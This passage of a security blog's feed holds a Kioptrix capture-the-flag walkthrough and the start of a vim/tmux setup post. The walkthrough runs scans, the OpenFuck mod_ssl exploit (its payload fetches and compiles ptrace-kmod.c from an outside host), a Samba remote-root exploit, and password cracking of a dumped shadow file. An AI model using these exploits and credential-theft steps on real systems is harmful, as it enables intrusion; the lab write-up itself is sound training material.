&lt;/code&gt;&lt;/pre&gt;
Now at-least we get the login password for users at index.php login page.&lt;br /&gt;
&lt;br /&gt;
We can also look for .mysql_history file for previous typed commands by users.&lt;br /&gt;
&lt;div&gt;
&lt;pre style=&quot;background: rgb(214, 215, 218); border: 1px dashed rgb(204, 204, 204); height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;overflow-wrap: normal;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span style=&quot;font-size: 15px;&quot;&gt; show databases;
 create database webapp;
 use webapp;
 create table users(id INT,username varchar(100),password varchar(10));
 show database;
 select * from users;
 show databases;
 use webapp;
 insert into users values(1,&#39;admin&#39;,&#39;hello&#39;);
 select * from users;
 use mysql
 show databases;
 use mysql;
 select * from users where user=john;
 show tables;
 select * from user where user=john;
 select * from user where user=&#39;john&#39;;
 select * from user;
 create user &#39;john&#39;@&#39;localhost&#39; identified by &#39;hiroshima&#39;;
 create user &#39;webapp&#39;@&#39;localhost&#39; identified by &#39;hiroshima&#39;;
 create user &#39;webapp&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;hiroshima&#39;;
 CREATE USER &#39;webapp&#39;@&#39;localhost&#39; identified by &#39;hiroshima&#39;;
 update user set password = password(&#39;hiroshima&#39;) where user = &#39;john&#39;;
 use mysql;
 show users;
 select * from user;
 create user &#39;john&#39;@&#39;localhost&#39; identified by &#39;hiroshima&#39;;
 version;
 -v
 ;
 help
 flush privileges;
 show databases;
 use mysql;
 grant select,insert,update,delete on *.* to &#39;john&#39;@&#39;localhost&#39;;
 update user set password = password(&#39;hiroshima&#39;) where user = &#39;john&#39;;
 flush priveleges;
 use webapp;
 show tables;
 update user set password = password(&#39;Ha56!blaKAbl&#39;) where user = &#39;admin&#39;;
 update username set password = password(&#39;Ha56!blaKAbl&#39;) where user = &#39;admin&#39;;
 select * from users;
 update username set password = password(&#39;Ha56!blaKAbl&#39;) where username = &#39;admin&#39;;
 update users set password = password(&#39;Ha56!blaKAbl&#39;) where username = &#39;admin&#39;;
 select * from users;
 insert into users values(2,&#39;john&#39;,&#39;66lajGGbla&#39;);
 select * from users;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot;;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
From /etc/shadow file we got the encrypted passwords for users&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
 john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
 harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7:::&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/06/kioptrix-level-11-2-ctf-vm-walkthrough_25.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWMMCzEfpbA971hX8-e6_nHR8hMsVfw88yLmCqHKgAh55Vgc6v090J_E2Jq8ixogj33W1m79aTmgdBst_w7Zz_D7gV4SulvONVrrDLphuDT6rFuHpI0HK3ErdAy0aAvbCXh71hDtl8lck/s72-c/sc.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-4536327255622404911</guid><pubDate>Wed, 10 Jun 2020 16:58:00 +0000</pubDate><atom:updated>2020-06-10T11:15:06.581-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">kali-linux</category><category domain="http://www.blogger.com/atom/ns#">kioptrix</category><category domain="http://www.blogger.com/atom/ns#">Metasploit-framework</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">VulnHub</category><title>Kioptrix: Level 1 (#1) CTF VM WalkThrough</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;VM : MrRobot&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr4WToHU95rx9WR0K7HqO_2zBgRZywYdIn1dr0-Ea96T5lukUnkUIEbPWRqC2xJRWO-sOXRkWqaMMwnq_i_kafBKr5bfnZf0OVC15RnR5hLuvBie_2UTLLyB56DQExzwZ45LoFkOOODOM/s1600/sc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;242&quot; data-original-width=&quot;414&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr4WToHU95rx9WR0K7HqO_2zBgRZywYdIn1dr0-Ea96T5lukUnkUIEbPWRqC2xJRWO-sOXRkWqaMMwnq_i_kafBKr5bfnZf0OVC15RnR5hLuvBie_2UTLLyB56DQExzwZ45LoFkOOODOM/s320/sc.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Download Link :&amp;nbsp;&lt;a href=&quot;https://www.vulnhub.com/entry/kioptrix-level-1-1,22/&quot;&gt;https://www.vulnhub.com/entry/kioptrix-level-1-1,22/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanning the whole class A network :&lt;/b&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sP 192.168.1.0/24
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 15:45 UTC
 Nmap scan report for 192.168.1.1
 Host is up (0.059s latency).
 Nmap scan report for 192.168.1.3
 Host is up (0.000035s latency).
 Nmap scan report for 192.168.1.4
 Host is up (0.081s latency).
 Nmap scan report for 192.168.1.104
 Host is up (0.00051s latency).
 Nmap done: 256 IP addresses (4 hosts up) scanned in 18.67 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
Our target is 192.168.1.104.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanning the target :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sV -O 192.168.1.104 -oN nmap.scan
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 15:58 UTC
 Nmap scan report for 192.168.1.104
 Host is up (0.00053s latency).
 Not shown: 994 closed ports
 PORT     STATE SERVICE     VERSION
 22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
 80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
 111/tcp  open  rpcbind     2 (RPC #100000)
 139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
 443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
 1024/tcp open  status      1 (RPC #100024)
 Device type: general purpose
 Running: Linux 2.4.X
 OS CPE: cpe:/o:linux:linux_kernel:2.4.7
 OS details: Linux 2.4.7
 Network Distance: 2 hops
 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 21.35 seconds
&lt;/code&gt;&lt;/pre&gt;
Operating System :&amp;nbsp; Linux 2.4.X | cpe:/o:linux:linux_kernel:2.4.7 | Linux 2.4.7&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanning URL with dirb :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; By The Dark Raver
 -----------------
 
 OUTPUT_FILE: dirb.scan
 START_TIME: Tue Apr  7 16:35:19 2020
 URL_BASE: http://192.168.1.104/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612
 
 ---- Scanning URL: http://192.168.1.104/ ----
 + http://192.168.1.104/~operator (CODE:403|SIZE:273)
 + http://192.168.1.104/~root (CODE:403|SIZE:269)
 + http://192.168.1.104/cgi-bin/ (CODE:403|SIZE:272)
 + http://192.168.1.104/index.html (CODE:200|SIZE:2890)
 ==&amp;gt; DIRECTORY: http://192.168.1.104/manual/
 ==&amp;gt; DIRECTORY: http://192.168.1.104/mrtg/
 ==&amp;gt; DIRECTORY: http://192.168.1.104/usage/
 
 ---- Entering directory: http://192.168.1.104/manual/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.104/mrtg/ ----
 + http://192.168.1.104/mrtg/index.html (CODE:200|SIZE:17318)
 
 ---- Entering directory: http://192.168.1.104/usage/ ----
 + http://192.168.1.104/usage/index.html (CODE:200|SIZE:4810)
 
 -----------------
 END_TIME: Tue Apr  7 16:35:41 2020
 DOWNLOADED: 13836 - FOUND: 6
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Scanning path/files with dirsearch :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 
 Extensions: php, asp, aspx, jsp, html, zip, jar, sql | HTTP method: get | Threads: 10 | Wordlist size: 8678
 
 Error Log: /root/tools/dirsearch/logs/errors-20-04-07_17-33-40.log
 
 Target: http://192.168.1.104
 
 [17:33:40] Starting:
 /bin/bash: ]: command not found
 [17:33:41] 403 -  277B  - /.htaccess-dev
 [17:33:41] 403 -  279B  - /.htaccess-local
 [17:33:41] 403 -  268B  - /.hta
 [17:33:41] 403 -  277B  - /.htaccess.BAK
 [17:33:41] 403 -  279B  - /.htaccess-marco
 [17:33:41] 403 -  278B  - /.htaccess.bak1
 [17:33:41] 403 -  278B  - /.htaccess.orig
 [17:33:41] 403 -  277B  - /.htaccess.old
 [17:33:41] 403 -  278B  - /.htaccess.save
 [17:33:41] 403 -  277B  - /.htaccess.txt
 [17:33:41] 403 -  280B  - /.htaccess.sample
 [17:33:41] 403 -  279B  - /.htaccess_extra
 [17:33:41] 403 -  276B  - /.htaccess_sc
 [17:33:41] 403 -  278B  - /.htaccess_orig
 [17:33:41] 403 -  276B  - /.htaccessBAK
 [17:33:41] 403 -  276B  - /.htaccessOLD
 [17:33:41] 403 -  277B  - /.htaccessOLD2
 [17:33:41] 403 -  274B  - /.htaccess~
 [17:33:41] 403 -  272B  - /.htgroup
 [17:33:41] 403 -  277B  - /.htpasswd-old
 [17:33:41] 403 -  278B  - /.htpasswd_test
 [17:33:41] 403 -  274B  - /.htpasswds
 [17:33:41] 403 -  272B  - /.htusers
 [17:33:48] 403 -  272B  - /cgi-bin/
 [17:33:49] 403 -  268B  - /doc/
 [17:33:49] 403 -  282B  - /doc/stable.version
 [17:33:49] 403 -  283B  - /doc/en/changes.html
 [17:33:51] 200 -    3KB - /index.html
 [17:33:52] 301 -  294B  - /manual  -&amp;gt;  http://127.0.0.1/manual/
 [17:33:56] 200 -   27B  - /test.php
 [17:33:57] 200 -    5KB - /usage/
 
 Task Completed
&lt;/code&gt;&lt;/pre&gt;
Findings :&lt;br /&gt;
&lt;pre class=&quot;brush: text&quot;&gt;[17:33:51] 200 -    3KB - /index.html
[17:33:56] 200 -   27B  - /test.php
[17:33:57] 200 -    5KB - /usage/&lt;/pre&gt;
Now at the `http://192.168.1.104/usage/` there is Webalizer Version 2.01 created page, and search for the gives &quot;Webalizer 2.1.x Buffer Overflow vulnerabilty&quot; which Allows Remote Users to Execute Arbitrary Code on the Server via Reverse DNS Lookups. But i didn&#39;t find any exploit for that. However there is an XSS vulnerability. To exploit this just send a curl request and attach payload on the referrer header which can be added to the http://192.168.1.104/usage/usage_DATE.html page. But this is not much useful.&lt;br /&gt;
&lt;br /&gt;
Now try to exploit findings from nmap, which are :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
 80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
 111/tcp  open  rpcbind     2 (RPC #100000)
 139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
 443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
 1024/tcp open  status      1 (RPC #100024)
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;Searching for `Apache 1.3.20` :&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The above search lead to `Apache mod_ssl &amp;lt; 2.8.7 OpenSSL - &#39;OpenFuckV2.c&#39; Remote Buffer Overflow` and we can see that in our target server the ssl server version is 2.8.4 so we can try to exploit this buffer overflow. The exploit can be found at here :&amp;nbsp; &lt;a href=&quot;https://www.exploit-db.com/exploits/47080&quot;&gt;https://www.exploit-db.com/exploits/47080&lt;/a&gt; (newer version). so first we download the exploit and follow the instruction given on that page :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ./OpenFuck | grep 1.3.20 | grep RedHat
     0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
     0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
 
 $ ./OpenFuck 0x6b 192.168.1.104 443 -c 40
 
 *******************************************************************
 * OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
 *******************************************************************
 * by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
 * #hackarena  irc.brasnet.org                                     *
 * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
 * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
 * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
 *******************************************************************
 
 Connection... 40 of 40
 Establishing SSL connection
 cipher: 0x4043808c   ciphers: 0x80f8088
 Ready to send shellcode
 Spawning shell...
 bash: no job control in this shell
 bash-2.05$
 d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
 --15:11:51--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
            =&amp;gt; `ptrace-kmod.c&#39;
 Connecting to dl.packetstormsecurity.net:443... connected!
 HTTP request sent, awaiting response... 200 OK
 Length: 3,921 [text/x-csrc]
 
     0K ...                                                   100% @   3.74 MB/s
 
 15:11:53 (1.87 MB/s) - `ptrace-kmod.c&#39; saved [3921/3921]
 
 /usr/bin/ld: cannot open output file exploit: Permission denied
 collect2: ld returned 1 exit status
 gcc: file path prefix `/usr/bin&#39; never used
 ls
 exploit
 whoami
 root
&lt;/code&gt;&lt;/pre&gt;
Try 2 to 3 times if exploit does not work (because the payload download a file &quot;ptrace-kmod.c&quot; from internet). We can get a root shell. Now from here we can get /etc/shadow and /etc/passwd file. Copy them on the system and try to crack the passwords of users with john.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ unshadow passwdfile shadowfile &amp;gt; crack.passwd.db
 $ john crack.passwd.db
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;samba service :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
There is also samba service is running, (revealed by nmap scan). Now enumerating samba service :&lt;br /&gt;
&lt;br /&gt;
with nbtscan :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; nbtscan 192.168.1.104
 Doing NBT name scan for addresses from 192.168.1.104
 
 IP address       NetBIOS Name     Server    User             MAC address
 ------------------------------------------------------------------------------
 192.168.1.104    KIOPTRIX         &amp;lt;server&amp;gt;  KIOPTRIX         00:00:00:00:00:00
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
with enum4linux :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./enum4linux.pl 192.168.1.104
 WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Apr  7 20:29:41 2020
 
  ==========================
 |    Target Information    |
  ==========================
 Target ........... 192.168.1.104
 RID Range ........ 500-550,1000-1050
 Username ......... &#39;&#39;
 Password ......... &#39;&#39;
 Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 
 
  =====================================================
 |    Enumerating Workgroup/Domain on 192.168.1.104    |
  =====================================================
 [+] Got domain/workgroup name: MYGROUP
 
  =============================================
 |    Nbtstat Information for 192.168.1.104    |
  =============================================
 Looking up status of 192.168.1.104
     KIOPTRIX        &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
     KIOPTRIX        &amp;lt;03&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Messenger Service
     KIOPTRIX        &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service
     ..__MSBROWSE__. &amp;lt;01&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Master Browser
     MYGROUP         &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name
     MYGROUP         &amp;lt;1d&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Master Browser
     MYGROUP         &amp;lt;1e&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Browser Service Elections
 
     MAC Address = 00-00-00-00-00-00
 
  ======================================
 |    Session Check on 192.168.1.104    |
  ======================================
 [E] Server doesn&#39;t allow session using username &#39;&#39;, password &#39;&#39;.  Aborting remainder of tests.
&lt;/code&gt;&lt;/pre&gt;
unfortunately the above scan did not gave the version of samba so&amp;nbsp; i am going to use metasploit auxiliary module to get the samba version&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; msf5 &amp;gt; search scanner/smb
 msf5 &amp;gt; use auxiliary/scanner/smb/smb_version
 msf5 auxiliary(scanner/smb/smb_version) &amp;gt; show options
 
 Module options (auxiliary/scanner/smb/smb_version):
 
    Name       Current Setting  Required  Description
    ----       ---------------  --------  -----------
    RHOSTS                      yes       The target address range or CIDR identifier
    SMBDomain  .                no        The Windows domain to use for authentication
    SMBPass                     no        The password for the specified username
    SMBUser                     no        The username to authenticate as
    THREADS    1                yes       The number of concurrent threads
 
 msf5 auxiliary(scanner/smb/smb_version) &amp;gt; set RHOSTS 192.168.1.104
 RHOSTS =&amp;gt; 192.168.1.104
 msf5 auxiliary(scanner/smb/smb_version) &amp;gt; run
 
 [*] 192.168.1.104:139     - Host could not be identified: Unix (Samba 2.2.1a)
 [*] 192.168.1.104:445     - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
The version of samba version is samba 2.2.1a, now by searching &quot;samba 2.2.1a vulnerability&quot; i found &quot;Samba &amp;lt; 2.2.8 (Linux/BSD) - Remote Code Execution&quot; exploit at &lt;a href=&quot;https://www.exploit-db.com/exploits/10&quot;&gt;https://www.exploit-db.com/exploits/10&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now from here download and try the exploit.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wget https://www.exploit-db.com/raw/10
 $ mv 10 sambal.c
 $ gcc -o sambal sambal.c
 $ ./sambal
 samba-2.2.8 &amp;lt; remote root exploit by eSDee (www.netric.org|be)
 --------------------------------------------------------------
 Usage: ./sambal [-bBcCdfprsStv] [host]
 
 -b &amp;lt;platform&amp;gt;   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
 -B &amp;lt;step&amp;gt;       bruteforce steps (default = 300)
 -c &amp;lt;ip address&amp;gt; connectback ip address
 -C &amp;lt;max childs&amp;gt; max childs for scan/bruteforce mode (default = 40)
 -d &amp;lt;delay&amp;gt;      bruteforce/scanmode delay in micro seconds (default = 100000)
 -f              force
 -p &amp;lt;port&amp;gt;       port to attack (default = 139)
 -r &amp;lt;ret&amp;gt;        return address
 -s              scan mode (random)
 -S &amp;lt;network&amp;gt;    scan mode
 -t &amp;lt;type&amp;gt;       presets (0 for a list)
 -v              verbose mode
 
 $ ./sambal -b 0 -v 192.168.1.104
 samba-2.2.8 &amp;lt; remote root exploit by eSDee (www.netric.org|be)
 --------------------------------------------------------------
 + Verbose mode.
 + Bruteforce mode. (Linux)
 + Host is running samba.
 + Using ret: [0xbffffed4]
 + Using ret: [0xbffffda8]
 + Using ret: [0xbffffc7c]
 + Using ret: [0xbffffb50]
 + Worked!
 --------------------------------------------------------------
 *** JE MOET JE MUIL HOUWE
 Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
 uid=0(root) gid=0(root) groups=99(nobody)
 ls
 exploit
 whoami
 root
&lt;/code&gt;&lt;/pre&gt;
and exploit works.&lt;br /&gt;
&lt;br /&gt;
So we have to methods to get root shell in kioptrix1.1.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/06/kioptrix-level-1-1-ctf-vm-walkthrough.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr4WToHU95rx9WR0K7HqO_2zBgRZywYdIn1dr0-Ea96T5lukUnkUIEbPWRqC2xJRWO-sOXRkWqaMMwnq_i_kafBKr5bfnZf0OVC15RnR5hLuvBie_2UTLLyB56DQExzwZ45LoFkOOODOM/s72-c/sc.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-8290354262211659640</guid><pubDate>Sat, 01 Feb 2020 21:08:00 +0000</pubDate><atom:updated>2020-02-01T13:08:38.454-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">tmux</category><category domain="http://www.blogger.com/atom/ns#">vim</category><category domain="http://www.blogger.com/atom/ns#">vim-plugin</category><category domain="http://www.blogger.com/atom/ns#">vimrc</category><category domain="http://www.blogger.com/atom/ns#">Web-Server</category><title>Setting-up Vimux ( vim + tmux ) in Linux machine</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
By using vimux we can use vim as an IDE. It basically opens a terminal below vim panel with 20 width and then run the mapped command. Pre-requisites are vim and tmux installed.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDO6dbTsoYIgaRbwFtrkRpFjLcDsZ1YyTN1wQORdmTQDJRh7gFcsv9h2tjjaP1O6xHee-MdO9iSv0YzSg4-w5y_z6KkCGyq3Ah2jTBtBAiDzo4yusOL9ml6x4r8KDtUFkYecci5Eh-yGE/s1600/screenshot_4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;347&quot; data-original-width=&quot;419&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDO6dbTsoYIgaRbwFtrkRpFjLcDsZ1YyTN1wQORdmTQDJRh7gFcsv9h2tjjaP1O6xHee-MdO9iSv0YzSg4-w5y_z6KkCGyq3Ah2jTBtBAiDzo4yusOL9ml6x4r8KDtUFkYecci5Eh-yGE/s320/screenshot_4.png&quot; width=&quot;320&quot; style=&quot;display: none;&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Installation :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Make sure vim plugin manager will be installed. I installed pathgen. Now run the below command :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; cd ~/.vim/bundle
 git clone https://github.com/benmills/vimux.git
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Configuration :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The function used to configure vimux are &lt;b&gt;&lt;i&gt;VimuxRunCommand, VimuxPromptCommand, VimuxRunLastCommand&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;VimuxRunCommand&lt;/b&gt; : used to run certain system command. It is mapped with &lt;b&gt;&lt;i&gt;autocmd FileType&lt;/i&gt;&lt;/b&gt; which map different commands for different filetypes. Press &lt;b&gt;&lt;i&gt;LEADER + e&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;VimuxPromptCommand&lt;/b&gt; : used to open a prompt to run user supplied command. Press &lt;b&gt;&lt;i&gt;LEADER + p&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;VimuxRunLastCommand&lt;/b&gt; : used to run last command Executed by VimuxRunLastCommand. Press &lt;b&gt;LEADER + l&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;Note&lt;/b&gt; : LEADER key is mapped to &lt;b&gt;/&lt;/b&gt; (slach), by default it is mapped to &lt;b&gt;\ &lt;/b&gt;(backword-slash).&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
Now rest of the configuration is as follows on &lt;b&gt;~/.vimrc&amp;nbsp;&lt;/b&gt;:&lt;/div&gt;
&lt;div&gt;
